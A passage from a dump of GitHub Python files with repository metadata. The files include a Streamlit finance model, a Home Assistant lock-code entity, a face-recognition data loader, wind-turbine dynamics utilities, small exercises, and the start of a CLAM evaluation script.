items}\n","repo_name":"adilmas13/python-flask-restful-with-sqlite-db","sub_path":"code/item.py","file_name":"item.py","file_ext":"py","file_size_in_byte":3511,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"14692713847","text":"import streamlit as st\nimport matplotlib.pyplot as plt\nimport altair\n\n\nfrom utils import run_model, return_survived_df, plot_stats\nfrom utils import MAX_YEARS, MIN_AMOUNT_TOLERABLE, INFLATION_ON, MONTHLY_MIN, MONTHLY_MAX,TAX,MODELS,DEFAULT_MODEL,DEFAULT_LEVERAGE\n\n\nst.title('Dumb Finance Model 🤑💰')\nst.markdown('Runs a model of investing your principal in the stock you pick with the withdrawal you select. Please keep all financial values in increments of 1000\\'s for best results.')\nst.markdown('_Nothing in this app constitutes professional and/or financial advice._')\n\n# prompt box\ncol1, col2, col3 = st.columns(3)\nwith col1:\n stock = st.selectbox('Which Stock do you want to model', list(MODELS.keys()), index=0)\n leverage = st.number_input('How much leverage on the stock', min_value=0.1, max_value=10.0, value=DEFAULT_LEVERAGE)\n years = st.number_input('Years you want to live off the money', min_value=5, max_value=60, value=MAX_YEARS)\n\nwith col2:\n min_tol = st.number_input('Minimum tolerable amount in bank$', min_value=0, max_value=10000000, \n value=MIN_AMOUNT_TOLERABLE)\n tax_rate = st.number_input('Tax Rate %', min_value=0, max_value=100, value=int(TAX*100))\n \nwith col3:\n month_min = st.number_input('Minimum monthly withdrawal $', min_value=0, max_value=20000, value=MONTHLY_MIN)\n month_max = st.number_input('Maximum monthly withdrawal $', min_value=month_min, max_value=20000, value=MONTHLY_MAX)\n inflation = st.checkbox('Include inflation', value=INFLATION_ON)\n\n#button and results\nif st.button('Click to run'):\n text = 'Running Model...'\n data_load_state = st.text('Running Model...')\n run_model(MODELS[stock], years,min_tol, tax_rate/100.0, month_min, month_max, inflation, leverage, data_load_state)\n sdf, sdf_stats = return_survived_df()\n data_load_state.empty()\n \n # show summary chart\n st.subheader('Principal needed to support different monthly withdrawals')\n inflation = 'ON' if inflation else 'OFF'\n desc = f'Principal needed to support monthly withdrawals from {month_min} to {month_max} \\\n for {years} years at a long term capital gains tax of {tax_rate}, with inflation {inflation} while \\\n maintaining a min bank balance of {min_tol}. This assumes the principal is fully invested \\\n in {stock} with {leverage}x leverage.'\n st.markdown(desc)\n\n# commenting out tabs since it requires v1.11 which isnt supported in HF\n# tab1, tab2 = st.tabs(['Chart','Table'])\n\n# with tab1:\n \n fig = plot_stats(sdf)\n st.pyplot(fig)\n\n# with tab2:\n st.table(data=sdf_stats)\n","repo_name":"djemec/dumb-finance-model","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2633,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"12063698842","text":"\"\"\"Base entity class for Lock Code Manager.\"\"\"\nfrom __future__ import annotations\n\nimport copy\nfrom typing import Any, final\n\nfrom homeassistant.config_entries import ConfigEntry\nfrom homeassistant.core import callback\nfrom homeassistant.helpers import entity_registry as er\nfrom homeassistant.helpers.dispatcher import async_dispatcher_connect\nfrom homeassistant.helpers.entity import Entity, EntityCategory\n\nfrom .const import ATTR_CODE_SLOT, CONF_SLOTS, DOMAIN\nfrom .providers import BaseLock\n\n\nclass BaseLockCodeManagerEntity(Entity):\n \"\"\"Base Lock Code Manager Entity.\"\"\"\n\n _attr_entity_category = EntityCategory.CONFIG\n _attr_has_entity_name = True\n _attr_should_poll = False\n\n def __init__(\n self, config_entry: ConfigEntry, locks: list[BaseLock], slot_num: int, key: str\n ) -> None:\n \"\"\"Initialize base entity.\"\"\"\n self.config_entry = config_entry\n self.locks = locks\n self.slot_num = slot_num\n self.key = key\n self.ent_reg: er.EntityRegistry | None = None\n\n self._attr_name = f\"Code slot {slot_num} {key.replace('_', ' ').lower()}\"\n base_unique_id = \"_\".join(sorted([lock.lock.entity_id for lock in locks]))\n self._attr_unique_id = f\"{base_unique_id}_{slot_num}_{key}\"\n self._attr_extra_state_attributes = {ATTR_CODE_SLOT: int(slot_num)}\n\n @callback\n @final\n def _update_config_entry(self, value: Any) -> None:\n \"\"\"Update config entry data.\"\"\"\n data = copy.deepcopy(dict(self.config_entry.data))\n data[CONF_SLOTS][self.slot_num][self.key] = value\n self.hass.config_entries.async_update_entry(\n self.config_entry, data=data, options={}\n )\n self.async_write_ha_state()\n\n async def internal_async_remove(self) -> None:\n \"\"\"\n Handle entity removal.\n\n Should not be overwritten by platforms.\n \"\"\"\n entity_id = self.entity_id\n await self._async_remove()\n await self.async_remove(force_remove=True)\n self.ent_reg.async_remove(entity_id)\n\n async def _async_remove(self) -> None:\n \"\"\"\n Handle entity removal.\n\n Can be overwritten by platforms.\n \"\"\"\n pass\n\n @callback\n def dispatcher_connect(self) -> None:\n \"\"\"\n Connect entity to dispatcher signals.\n \n Can be overwritten by platforms if necessary\n \"\"\"\n entry = self.config_entry\n entry.async_on_unload(\n async_dispatcher_connect(\n self.hass,\n f\"{DOMAIN}_{entry.entry_id}_remove_{self.slot_num}_{self.key}\",\n self.internal_async_remove,\n )\n )\n entry.async_on_unload(\n async_dispatcher_connect(\n self.hass,\n f\"{DOMAIN}_{entry.entry_id}_remove_{self.slot_num}\",\n self.internal_async_remove,\n )\n )\n\n async def async_added_to_hass(self) -> None:\n \"\"\"Handle entity added to hass.\"\"\"\n await Entity.async_added_to_hass(self)\n if not self.ent_reg:\n self.ent_reg = er.async_get(self.hass)\n self.dispatcher_connect()\n","repo_name":"raman325/lock_code_manager","sub_path":"custom_components/lock_code_manager/entity.py","file_name":"entity.py","file_ext":"py","file_size_in_byte":3163,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"11945309396","text":"import torch\r\nfrom torch.utils.data import DataLoader, Dataset\r\nimport torchvision.transforms as T\r\nfrom sklearn.preprocessing import LabelEncoder\r\nimport os\r\nimport numpy as np\r\nimport cv2\r\n# from skimage import io\r\nfeat_list = './gallery_feat.list'\r\n\r\n\r\nclass facedata(Dataset):\r\n def __init__(self, data, labels):\r\n super(facedata, self).__init__()\r\n\r\n self.data = data\r\n self.labels = labels\r\n self.transforms = T.Compose([\r\n # T.ToPILImage(),\r\n # T.Resize(size=(112, 112)),\r\n T.ToTensor(),\r\n T.Normalize((0.485, 0.456, 0.406), (0.229, 0.224, 0.225))\r\n # (0.4914, 0.4822, 0.4465), (0.2023, 0.1994, 0.2010)\r\n ])\r\n\r\n def __getitem__(self, index):\r\n return self.transforms(self.data[index]), torch.tensor(self.labels[index], dtype=torch.long)\r\n\r\n def __len__(self):\r\n return len(self.data)\r\n\r\n\r\ndef get_gallery(gallery_path):\r\n person_list = os.listdir(gallery_path)\r\n\r\n gallery_data = [] # gallery图像\r\n gallery_labels = [] # 对应人名\r\n for person in person_list:\r\n imgs_path = os.path.join(gallery_path, person)\r\n imgs = os.listdir(imgs_path)\r\n for img in imgs:\r\n img_path = os.path.join(imgs_path, img)\r\n data = cv2.imread(img_path, cv2.IMREAD_COLOR)\r\n data = cv2.cvtColor(data, cv2.COLOR_BGR2RGB)\r\n gallery_data.append(data)\r\n gallery_labels.append(person)\r\n\r\n # labelencoder 对标签进行编码, fit_transform把标签变为Int, inverse_transform变换回标签\r\n labelencoder = LabelEncoder()\r\n gallery_labels = labelencoder.fit_transform(gallery_labels)\r\n\r\n gallery = facedata(gallery_data, gallery_labels)\r\n # gallery_labels已经变成tensor了,不再是int\r\n gallery_loader = DataLoader(gallery, batch_size=32, shuffle=False, drop_last=False)\r\n return gallery_loader, labelencoder, gallery\r\n\r\n\r\ndef get_pred(imgs):\r\n if not isinstance(type(imgs), list): # isinstance 判断是不是同样类型\r\n imgs = [imgs]\r\n N = len(imgs)\r\n fake_labels = np.zeros(N) # 虚假的标签\r\n pred = facedata(imgs, fake_labels)\r\n pred_loader = DataLoader(pred, batch_size=32, shuffle=False, drop_last=False)\r\n return pred_loader\r\n","repo_name":"liuchenxin666/face-recognition","sub_path":"dataset/facedata.py","file_name":"facedata.py","file_ext":"py","file_size_in_byte":2307,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"31833337361","text":"# -*- coding: utf-8 -*-\n\"\"\"Utility functions for the Coleman demo\n\"\"\"\nfrom matplotlib import animation\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom scipy.integrate import solve_ivp\n\n\ndef animate_mode_shape(Omega, freqs, xs, a0s, a1s, b1s):\n \"\"\"\"\"\"\n # variables we need for the plot\n time = np.linspace(0, 1, num=300, endpoint=False)\n dt = 1/30*1000 # milliseconds\n wk = 2*np.pi*2 # hard-code natural frequency for sake of visualiztion\n Omega = [2*np.pi*1, 0][Omega == 0] # Omega is either hard-coded or 0\n max_defls = np.abs(a0s) + np.abs(a1s) + np.abs(b1s) # maximum possible blade deflections\n \n # initialize figure, axes and artists\n fig, axs = plt.subplots(1, 4, num=1, clear=True, figsize=(7, 2))\n all_artists = []\n for i, ax in enumerate(axs):\n ax.axis('equal')\n ax.set_xlim(-1.5, 1.5)\n ax.set_ylim(-1.5, 1.5)\n ax.set_title(f'Mode {i+1} ({freqs[i]:.2} Hz)', fontsize=8)\n ax.plot(0, 0, 'o', c='0.8')\n ax.axis('off')\n artists = ([ax.plot([], [], '--', lw=2, c='0.6')[0] for i in range(3)]\n + [ax.plot([], [], '-o', lw=2)[0] for i in range(3)])\n all_artists = all_artists + artists\n plt.tight_layout()\n plt.figtext(0.015, 0.07, '©Rinker')\n\n def update(t):\n \"\"\"Update the data in the artists based on time step\"\"\"\n for i, ax in enumerate(axs): # loop over modes\n a0, a1, b1, x, max_defl = a0s[i], a1s[i], b1s[i], xs[i], max_defls[i] # modal comps\n x0 = np.abs(x) * np.cos(wk*t + np.angle(x)) # tower oscillation\n artists = all_artists[i*6:(i+1)*6] # isolate artists for this axis\n for i in range(3): # loop over blades\n # isolate and calculate things we need\n origin = artists[i] # where deflection is measured from\n blade = artists[i + 3] # blade\n Psi = Omega * t + i*2*np.pi/3 # azimuthal angle of blade origin\n theta_i = (np.abs(a0) * np.cos(wk*t + np.angle(a0)) # blade deflection\n + np.abs(a1) * np.cos(wk*t + np.angle(a1)) * np.cos(Psi)\n + np.abs(b1) * np.cos(wk*t + np.angle(b1)) * np.sin(Psi))\n # plot the origin\n x = [x0, x0 + np.sin(Psi)]\n y = [0, np.cos(Psi)]\n origin.set_data(x, y)\n # plot the blades\n xb = [x0, x0 + 0.9*np.sin(Psi + theta_i)]\n yb = [0, 0.9*np.cos(Psi + theta_i)]\n blade.set_data(xb, yb)\n # color blades based on their deflection\n rel_defl = (theta_i + max_defl) / (2 * max_defl)\n c = plt.get_cmap('coolwarm')(rel_defl)\n blade.set_color(c)\n blade.set_alpha(0.5)\n return all_artists\n \n # animate the plot\n anim = animation.FuncAnimation(fig, update, # figure handle and update functions\n frames=time, # array of times\n interval=dt, # delay between frames [ms]\n blit=True)\n \n return anim\n\n\ndef get_eig(M, C, K):\n \"\"\"Eigenvalues for mass, stiffness and damping matrix (assumes M invertible)\"\"\"\n A = get_state_space(M, C, K)\n s, v = np.linalg.eig(A) # standard evp\n return s, v\n\n\ndef get_ff_matrices(t, Omega, dofs=[1, 1, 1, 1, 0], M=50_000, kx=200_000,\n ky=200_000, m=500, l=30, omega0=2*np.pi*0.8):\n \"\"\"System matrices in fixed frame\"\"\"\n # useful intermediates\n sin, cos = np.sin, np.cos\n ml, ml2 = m*l, m*l**2\n psi1, psi2, psi3 = Omega*t, Omega*t + 4*np.pi/3, Omega*t + 2*np.pi/3\n # system matrices\n M_ff = np.array([[ml2, 0, 0, ml*cos(psi1), -ml*sin(psi1)],\n [0, ml2, 0, ml*cos(psi2), -ml*sin(psi2)],\n [0, 0, ml2, ml*cos(psi3), -ml*sin(psi3)],\n [ml*cos(psi1), ml*cos(psi2), ml*cos(psi3), M+3*m, 0],\n [-ml*sin(psi1), -ml*sin(psi2), -ml*sin(psi3), 0, M+3*m]])\n C_ff = np.array([[0, 0, 0, 0, 0],\n [0, 0, 0, 0, 0],\n [0, 0, 0, 0, 0],\n [-sin(psi1), -sin(psi2), -sin(psi3), 0, 0],\n [-cos(psi1), -cos(psi2), -cos(psi3), 0, 0]]) * 2*ml*Omega\n K_ff = np.array([[ml2*omega0**2, 0, 0, 0, 0],\n [0, ml2*omega0**2, 0, 0, 0],\n [0, 0, ml2*omega0**2, 0, 0],\n [-ml*Omega**2*cos(psi1), -ml*Omega**2*cos(psi2), \n -ml*Omega**2*cos(psi3), kx, 0],\n [ml*Omega**2*sin(psi1), ml*Omega**2*sin(psi2), ml*Omega**2*sin(psi3),\n 0, ky]])\n # single out only the degrees of freedom we want\n dofs = np.asarray(dofs, dtype=bool)\n M_ff = M_ff[dofs][:, dofs]\n C_ff = C_ff[dofs][:, dofs]\n K_ff = K_ff[dofs][:, dofs]\n return M_ff, C_ff, K_ff\n\n\ndef get_mode_mags(v, dofs=[1, 1, 1, 1, 0]):\n \"\"\"Magnitudes of components from eigenvector(s) in non-rotating frame\"\"\"\n if sum(dofs[:3]) < 3:\n raise ValueError('Mode magnitude code breaks if a blade DOF is disabled!')\n re, im = np.real, np.imag # assign handles for convenience\n ndofs = sum(dofs)\n mode_mags = np.empty((ndofs, ndofs)) # initialize array (as, bw, fw, x, y by freq)\n a0, a1, b1 = v[:3] # extract the blade components from eigenvectors\n mode_mags[0, :] = np.abs(a0) # symmetric is just a0\n mode_mags[1, :] = 0.5*np.sqrt((im(a1)-re(b1))**2\n + (re(a1)+im(b1))**2) # BW, eqn in dynamics handbook\n mode_mags[2, :] = 0.5*np.sqrt((im(a1)+re(b1))**2\n + (re(a1)-im(b1))**2) # FW\n if dofs[3]: # if lateral motion is enabled\n mode_mags[2, :] = np.abs(v[3]) # tower is just tower\n if dofs[4]: # if vertical motion is enabled\n mode_mags[-1, :] = np.abs(v[4]) # tower is just tower\n return mode_mags\n\n\ndef get_nr_matrices(Omega, dofs=[1, 1, 1, 1, 0], M=50_000, kx=200_000,\n ky=200_000, m=500, l=30, omega0=2*np.pi*0.8):\n \"\"\"System matrices in the non-rotating frame\"\"\"\n # useful intermediates\n ml = m*l\n ml2 = m*l**2\n # system matrices\n M_nr = np.array([[ml2, 0, 0, 0, 0],\n [0, ml2, 0, ml, 0],\n [0, 0, ml2, 0, -ml],\n [0, 3*ml/2, 0, M+3*m, 0],\n [0, 0, -3*ml/2, 0, M+3*m]])\n C_nr = np.array([[0, 0, 0, 0, 0],\n [0, 0, 2*ml2*Omega, 0, 0],\n [0, -2*ml2*Omega, 0, 0, 0],\n [0, 0, 0, 0, 0],\n [0, 0, 0, 0, 0]])\n K_nr = np.diag([ml2*omega0**2, ml2*(omega0**2 - Omega**2),\n ml2*(omega0**2 - Omega**2), kx, ky])\n # single out only the degrees of freedom we want\n idxs = np.asarray(dofs, dtype=bool)\n M_nr = M_nr[idxs][:, idxs]\n C_nr = C_nr[idxs][:, idxs]\n K_nr = K_nr[idxs][:, idxs]\n return M_nr, C_nr, K_nr\n\n\ndef get_state_space(M, C, K):\n \"\"\"State-space matrix A, assuming M is invertible\"\"\"\n Minv = np.linalg.inv(M) # for convenience\n n = M.shape[0] # no. dofs\n A = np.block([[np.zeros((n, n)), np.eye(n)],\n [-Minv@K, -Minv@C]]) # state space\n return A\n\ndef plot_campbell(Omegas=np.linspace(0, 1, 21), num=None, dofs=[1, 1, 1, 1, 0], M=50_000,\n kx=200_000, ky=200_000, m=500, l=30, omega0=2*np.pi*0.8):\n \"\"\"Plot the Campbell diagram for the system, return eigenvalues and vectors\"\"\"\n # intermediate variable\n nplot, ndofs = Omegas.size, sum(dofs)\n # initialize the arrays of undamped natural frequencies and eigenvectors\n fns = np.empty((nplot, ndofs)) # array of freqs\n vs = np.empty((nplot, ndofs, ndofs), dtype=complex)\n f_BW_FW = np.empty((nplot, 2), dtype=int) # freqs of BW/FW modes\n # loop over the rotational frequencies to make Campbell diagram\n for iOm in range(nplot):\n # get non-rotating matrices\n m_nr, c_nr, k_nr = get_nr_matrices(Omegas[iOm], dofs=dofs, M=M, kx=kx, ky=ky,\n m=m, l=l, omega0=omega0) # get matrices\n # eigenvalues and eigenvectors\n s_nr, v_nr = get_eig(m_nr, c_nr, k_nr) # calc evals\n fns[iOm, :] = np.abs(s_nr[::2]) / (2*np.pi) # evals -> freqs\n vs[iOm, :, :] = v_nr[:ndofs, ::2] # only disp (not vel), unique\n # make the campbell diagram\n plt.figure(num, figsize=(8, 4)); plt.clf();\n plt.plot(Omegas, fns, 'o')\n plt.ylim([0, 1])\n plt.grid('on')\n plt.xlabel('Omega [rad/s]'); plt.ylabel('Frequency [Hz]');\n plt.tight_layout() # make the layout nice\n return fns, vs\n\n\ndef plot_time_freq_response(t, out, num=None):\n \"\"\"Plot a simulated response in the time and frequency domains\"\"\"\n T = t[-1] + t[1] # total time to simulate\n out_fft = np.fft.rfft(out, axis=0)\n out_f = np.arange(out_fft.shape[0]) / T\n # initialize/clear the figure\n fig = plt.figure(num=num)\n plt.clf()\n # time domain subplots\n plt.subplot(2, 2, 1) # blades\n plt.plot(t, out[:, :3])\n plt.xlim([0, T])\n plt.grid('on')\n plt.ylabel('Blade defl. [rad]')\n plt.title('Blades, Time Domain')\n plt.subplot(2, 2, 3) # tower\n plt.plot(t, out[:, 3])\n plt.xlim([0, T])\n plt.xlabel('Time [s]')\n plt.grid('on')\n plt.ylabel('Towertop defl. [m]')\n plt.title('Tower, Time Domain')\n # frequency domain subplots\n plt.subplot(2, 2, 2) # blades\n plt.semilogy(out_f, np.abs(out_fft[:, :3]))\n plt.xlim([0, 1.5])\n plt.grid('on')\n plt.legend(labels=['Blade 1', 'Blade 2', 'Blade 3'])\n plt.ylabel('$|X_{bld}|(f)$')\n plt.title('Blades, Frequency Domain')\n plt.subplot(2, 2, 4) # tower\n plt.semilogy(out_f, np.abs(out_fft[:, 3]))\n plt.xlim([0, 1.5])\n plt.grid('on')\n plt.xlabel('Freq [Hz]')\n plt.ylabel('$|X_{twr}|(f)$')\n plt.title('Tower, Frequency Domain')\n # clean up the figure\n plt.tight_layout()\n return fig\n\n\ndef print_modal_components(Omega, freqs, zetas, x, a0, a1, b1, S_mag, BW_mag, FW_mag):\n \"\"\"If Omega = 0, print freqs, damping, and imag part of x, a0, a1 and b1.\n If Omega > 0, also print symmetric and whirling components.\n \"\"\"\n im = np.imag # assign aliases to functions for convenience\n print(f'\\nModal components for Omega = {Omega:.2f} rad/s')\n print('----------------------------------------')\n print(' Mode1 Mode2 Mode3 Mode4')\n # frequencies and damping\n for label, val in zip(['fk (Hz)', 'z (%C) '],\n [freqs, zetas]):\n print(f'{label}' + ''.join([f'{v:8.3f}' for v in val]))\n print()\n # direct modal components\n if np.isclose(Omega, 0):\n for label, val in zip(['Im(x) ', 'Im(a0) ', 'Im(a1) ', 'Im(b1) '],\n [im(x), im(a0), im(a1), im(b1)]):\n print(f'{label}' + ''.join([f'{v:8.3f}' for v in val]))\n # symmetric, backwards and forwards whirling\n if Omega > 0:\n for label, val in zip(['x ', 'a0 ', 'a1 ', 'b1 '],\n [x, a0, a1, b1]):\n print(f'{label}' + ''.join([f'{v:14.3f}' for v in val]))\n print()\n for label, val in zip(['abs(x) ', 'abs(S) ', 'abs(BW)', 'abs(FW)'],\n [np.abs(x), S_mag, BW_mag, FW_mag]):\n print(f'{label}' + ''.join([f' {v:.3f}' for v in val]))\n return\n\n\ndef sim_free_response(Omega, T, x0, v0, dofs=[1, 1, 1, 1, 0], M=50_000, kx=200_000,\n ky=200_000, m=500, l=30, omega0=2*np.pi*0.8, t_eval=None):\n \"\"\"Simulate the time response of the system\"\"\"\n t_span = [0, T]\n y0 = np.r_[x0, v0]\n def fun(t, y):\n M_ff, C_ff, K_ff = get_ff_matrices(t, Omega, dofs=dofs, M=M, kx=kx, ky=ky, m=m,\n l=l, omega0=omega0)\n A = get_state_space(M_ff, C_ff, K_ff)\n return A @ y\n res = solve_ivp(fun, t_span, y0, t_eval=t_eval)\n return res.t, res.y[:sum(dofs), :].T\n\n","repo_name":"NilsGaukroger/LAC","sub_path":"lectures/dynamics_review/ronnie/_ronnie_utils.py","file_name":"_ronnie_utils.py","file_ext":"py","file_size_in_byte":12039,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"1116407587","text":"# import math\n# data = int(input())\n\n\n# numlist = [0] * 10\n# for x in str(data):\n# if x == \"6\" or x == \"9\":\n# numlist[6] += 1\n# numlist[9] += 1\n# else:\n# numlist[int(x)] += 1\n\n# numlist[6] = math.ceil(numlist[6]/2)\n# numlist[9] = math.ceil(numlist[9]/2)\n# print(max(numlist))\n\n\n\na=[0]*10\nfor i in input():a[int(i)]+=1\na[6]=(a[6]+a[-1]+1)//2\nprint(max(a[:-1]))","repo_name":"asdfqrt/barkingdog","sub_path":"03강 배열/방 번호.py","file_name":"방 번호.py","file_ext":"py","file_size_in_byte":391,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"71954301587","text":"# HashTable: An unordered key-value data structure providing O(1) store, retrieve\n# search and delete operations.\n# Your implementation should pass the tests in test_hash_table.py.\n# YOUR NAME\n\n\nclass HashTable:\n\n def __init__(self, size=10):\n self.size = size\n self.data = [ [] for i in range(self.size)] \n self.keys = [ [] for i in range(self.size)] \n \n # def keys(self):\n # self.keys = [ [] for i in range (self.size)]\n\n def hash(self, key):\n size = (self.size)\n return hash(key) % size\n \n def __setitem__(self, key, value):\n key_hash = self.hash(key)\n key_value = [key, value]\n\n if self.data[key_hash] is not None:\n for k in self.data[key_hash]:\n if k[0] == key:\n k[1] = value\n return True\n self.data[key_hash].append(key_value)\n else:\n self.data[key_hash].append([key, value])\n\n def __getitem__(self, key):\n index = self.hash(key)\n for k in self.data[index]: #looping through all keys\n if k[0] == key: #if k equals key we are looking for, the key sent into the method\n return k[1]\n\n def delete(self, key):\n key_hash = self.hash(key)\n for i in range (0, len(self.data[key_hash])):\n if self.data[key_hash][i][0] == key:\n self.data[key_hash].pop(i)\n\n def clear(self):\n for i in range (0, len(self.data)):\n self.data = [ [] for i in range(self.size)]\n\n","repo_name":"daniellepuga/Hash-Table","sub_path":"hash_table.py","file_name":"hash_table.py","file_ext":"py","file_size_in_byte":1541,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"21808344952","text":"lookup_table = {}\n\n\n\ndef ack(m,n): #defined only for non-negative inputs\n\n key = \"\"\n key = key + \"(\" + str(m) + \",\" + str(n) + \")\"\n\n if key in lookup_table:\n retval = lookup_table[key]\n\n else:\n if m == 0:\n retval = (n + 1)\n elif n == 0:\n retval = ack(m-1,1)\n else :\n retval = ack(m-1,ack(m,n-1))\n\n lookup_table[key] = retval\n\n return retval\n\n#A few function calls are made to update the lookup_table\nack(0,0); ack(1,0); ack(0,1); ack(2,3)\n\nprint(lookup_table)\n\n#Finally, a large input is given to check the power of memoization\n\nprint(ack(3,4))\n","repo_name":"arponbasu/CS154_Labs_2ndSem","sub_path":"CS154_Labs_2ndSem/Lab11/1st Question/1d.py","file_name":"1d.py","file_ext":"py","file_size_in_byte":628,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"8618110120","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nimport math\n\n# python function\n\nprint(abs(12.34))\nprint(abs(-100))\n\nprint(max(1, 4, 7, 3, 9, 10))\nprint(min(4, 7, 9, 2))\n\n# 数据类型转换\nprint(int('123'))\nprint(str(123))\nprint(float('12.45'))\nprint(str(1.56))\nprint(bool(1))\nprint(bool(''))\n\n# 函数名赋值给变量\na = abs\nprint(a(-1))\n\n\n# 定义函数\ndef my_abs(x):\n if x >= 0:\n return x\n else:\n return -x\n\n\nprint(my_abs(-99))\n\n\ndef my_abs(x):\n if not isinstance(x, (int, float)):\n raise TypeError('bad operand type')\n if x >= 0:\n return x\n else:\n return -x\n\n\n# 空函数\ndef nop():\n pass\n\n\n# 返回多个值\ndef move(x, y, step, angle=0):\n nx = x + step * math.cos(angle)\n ny = y + step * math.sin(angle)\n return nx, ny\n\n\nx, y = move(100, 100, 60, math.pi / 6)\nprint(x, y)\n\nr = move(100, 100, 60, math.pi / 6)\nprint(r)\n\n\n# 函数的参数\n# def power(x):\n# return x * x\n\n# 计算x的n次方\ndef power(x, n=2):\n s = 1\n while n > 0:\n n = n - 1\n s = s * x\n return s\n\n\nprint(power(5, 2))\nprint(power(5, 3))\nprint(power(5))\n\n\n# 位置参数\ndef enroll(name, gender, age=18, city='Shenzhen'):\n print('name:', name)\n print('gender:', gender)\n print('age:', age)\n print('city:', city)\n\n\nenroll('Lennon', 'A')\nenroll('Bob', 'M', 25, 'Beijing')\nenroll('Adam', 'B', city='Tianjing')\n\n\n# 默认参数为不可变对象!\ndef add_end(L=None):\n if L is None:\n L = []\n L.append('End')\n return L\n\n\ndef calc(numbers):\n result = 0\n for n in numbers:\n result = result + n * n\n return result\n\n\nprint(add_end())\nprint(add_end())\nprint(calc([1, 3, 5, 7]))\nprint(calc([1, 3, 5, 7, 10]))\n\n\n# 可变参数,在参数前面加'*'号\ndef calc(*numbers):\n result = 0\n for n in numbers:\n result = result + n * n\n return result\n\n\nprint(calc(1, 3, 5))\nprint(calc(1, 5, 7, 9, 10))\nprint(calc(1, 2))\nprint(calc())\n\n# *nums表示把nums这个list的所有元素作为可变参数传进去\nnums = [1, 2, 3]\nprint(nums[0], nums[1], nums[2])\nprint(*nums)\n\n\n# 关键字参数\ndef person(name, age, **kw):\n print('name:', name, 'age:', age, 'other', kw)\n\n\nperson('Michael', 30)\nperson('Lennon', 25, city='Shenzhen')\nperson('CC', 24, gender='M', job='Engineer')\n\nextra = {'city': 'Shenzhen', 'job': 'Engineer'}\nperson('Lennon', 27, city=extra['city'], job=extra['job'])\nperson('Lennon', 27, **extra)\n\n\n# 命名关键字参数\ndef person(name, age, **kw):\n if 'city' in kw:\n pass\n if 'job' in kw:\n pass\n print('name:', name, age, 'other:', kw)\n\n\nprint(person('Jack', 24, city='Beijing', addr='chaoyang', zipcode='12345'))\n\n\n# 限制关键字参数名字\ndef person(name, age, *, city, job):\n print(name, age, city, job)\n\n\nprint(person('Jack', 24, city='Shenzhen', job='Engineer'))\n\n\ndef person(name, age, *, city='Shenzhen', job):\n print(name, age, city, job)\n\n\nprint(person('Jack', 24, job='Engineer'))\n\n\n# 参数组合\n# Python中定义函数,参数定义的顺序必须是:必选参数、默认参数、可变参数、命名关键字参数和关键字参数\n# *args是可变参数,args接收的是一个tuple;\n# **kw是关键字参数,kw接收的是一个dict。\ndef f1(a, b, c=0, *args, **kw):\n print('a =', a, 'b =', b, 'c =', c, 'args =', args, 'kw =', kw)\n\n\ndef f2(a, b, c=0, *, d, **kw):\n print('a =', a, 'b =', b, 'c =', c, 'd =', d, 'kw =', kw)\n\n\nprint(f1(1, 2))\nprint(f1(1, 2, c=3))\nprint(f1(1, 2, 3, 'a', 'b'))\nprint(f1(1, 2, 3, args=('a', 'b'), kw={'x' : 99}))\nprint(f2(1, 2, d=99, ext=None))\n\nargs = (1, 2, 3, 4)\nkw = {'d': 99, 'x': '#'}\nprint(f1(*args, **kw))\nargs = (1, 2, 3)\nkw = {'d': 88, 'x': '#'}\nprint(f2(*args, **kw))\n\n\n# 计算一个或多个数的乘机\ndef product(*args):\n x = 1\n if args == ():\n raise TypeError\n else:\n for i in args:\n x *= i\n return x\n\n\nprint(product(5))\nprint(product(5, 6))\nprint(product(5, 6, 7))\nprint(product(5, 6, 7, 9))\nif product(5) != 5:\n print('测试失败!')\nelif product(5, 6) != 30:\n print('测试失败!')\nelif product(5, 6, 7) != 210:\n print('测试失败!')\nelif product(5, 6, 7, 9) != 1890:\n print('测试失败!')\nelse:\n try:\n product()\n print('测试失败!')\n except TypeError:\n print('测试成功!')\n\n\n# 递归调用\ndef fact(n):\n if n == 1:\n return 1\n return n * fact(n - 1)\n\n\nprint(fact(1))\nprint(fact(100))\n\n\n# 尾递归\ndef fact(n):\n return fact_iter(n, 1)\n\n\ndef fact_iter(num, product):\n if num == 1:\n return product\n return fact_iter(num - 1, num * product)\n\n\nprint(fact_iter(5, 1))\nprint(fact_iter(4, 5))\nprint(fact_iter(3, 20))\n\n\ndef move(n, a, b, c):\n if n == 1:\n print(a, '-->', c)\n return\n move(n - 1, a, c, b)\n move(1, a, b, c)\n move(n - 1, b, a, c)\n\n\nmove(3, 'A', 'B', 'C')\n\nL = []\nn = 1\nwhile n <= 99:\n L.append(n)\n n = n + 2\n\nprint(L)\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"lennon25/LearnPython","sub_path":"Function.py","file_name":"Function.py","file_ext":"py","file_size_in_byte":4951,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"4480890260","text":"from __future__ import print_function\n\nimport numpy as np\n\nimport argparse\nimport torch\nimport torch.nn as nn\nimport pdb\nimport os\nimport sys\nimport yaml\nfrom pathlib import Path\nimport pandas as pd\nfrom utils.utils import *\nfrom math import floor\nimport matplotlib.pyplot as plt\nfrom datasets.dataset_generic import Generic_WSI_Classification_Dataset, Generic_MIL_Dataset, save_splits\nimport h5py\nfrom utils.eval_utils import *\n\nfrom utils.main_utils import (\n get_GenericMILdataset\n)\n\n# Training settings\nparser = argparse.ArgumentParser(description='CLAM Evaluation Script')\n\nparser.add_argument(\n '--config',\n type = str,\n default=\"./conf/conf.yaml\",\n\thelp='path to config file'\n)\nargs = 